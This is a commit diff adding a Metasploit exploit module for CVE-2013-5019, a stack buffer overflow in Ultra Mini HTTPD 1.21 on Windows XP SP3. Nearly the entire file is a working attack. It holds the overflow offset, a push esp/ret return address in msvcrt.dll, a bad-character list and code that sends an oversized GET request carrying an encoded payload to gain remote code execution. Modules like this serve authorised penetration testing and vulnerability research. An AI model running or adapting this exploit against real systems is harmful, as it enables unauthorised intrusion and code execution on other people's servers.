Land #2210 - CVE-2013-5019: Ultra Mini HTTPD Stack Buffer Overflow

modules/exploits/windows/http/ultraminihttp_bof.rb

@@ -0,0 +1,73 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = NormalRanking
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'           => "Ultra Mini HTTPD Stack Buffer Overflow",
+			'Description'    => %q{
+					This module exploits a stack based buffer overflow in Ultra Mini HTTPD 1.21
+				allowing remote attackers to execute arbitrary code via a long resource name in an HTTP
+				request.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'superkojiman',  #Discovery, PoC
+					'PsychoSpy <neinwechter[at]gmail.com>' #Metasploit
+				],
+			'References'     =>
+				[
+					['OSVDB', '95164'],
+					['EDB','26739'],
+					['CVE','2013-5019'],
+					['BID','61130']
+				],
+			'Payload'        =>
+				{
+					'Space' => 1623,
+					'StackAdjustment' => -3500,
+					'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f"
+				},
+			'DefaultOptions'  =>
+				{
+					'ExitFunction' => "thread"
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[
+						'v1.21 - Windows XP SP3',
+						{
+							'Offset' => 5412,
+							'Ret'=>0x77c354b4 # push esp / ret - msvcrt.dll
+						}
+					]
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => 'Jul 10 2013'
+			))
+	end
+
+	def exploit
+		buf = rand_text(target['Offset'])
+		buf << [target.ret].pack("V*")
+		buf << payload.encoded
+
+		print_status("Sending buffer...")
+		send_request_cgi({
+			'method' => 'GET',
+			'uri'    => "/#{buf}"
+		})
+	end
+end